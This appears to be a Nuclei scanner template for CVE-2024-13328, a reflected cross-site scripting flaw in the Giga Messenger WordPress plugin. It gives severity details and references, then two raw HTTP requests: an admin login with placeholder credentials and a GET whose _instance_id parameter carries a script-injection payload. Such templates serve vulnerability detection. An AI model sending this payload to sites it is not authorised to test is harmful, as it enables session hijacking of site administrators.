Giga Messenger WordPress - Cross-Site Scripting

id: CVE-2024-13328

info:
  name: Giga Messenger WordPress - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Giga Messenger WordPress plugin <= 2.3.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious link or request.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://wpscan.com/vulnerability/543a209b-c43c-46fc-8369-edb3b7e0ca98/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13328
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13328
    cwe-id: CWE-79
    epss-score: 0.00561
    epss-percentile: 0.42506
    cpe: cpe:2.3:a:tanng:giga_messenger:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: tanng
    product: giga_messenger
  tags: cve,cve2024,wordpress,wp-plugin,xss,giga-messenger

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=giga&_instance_id=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>")
        condition: and
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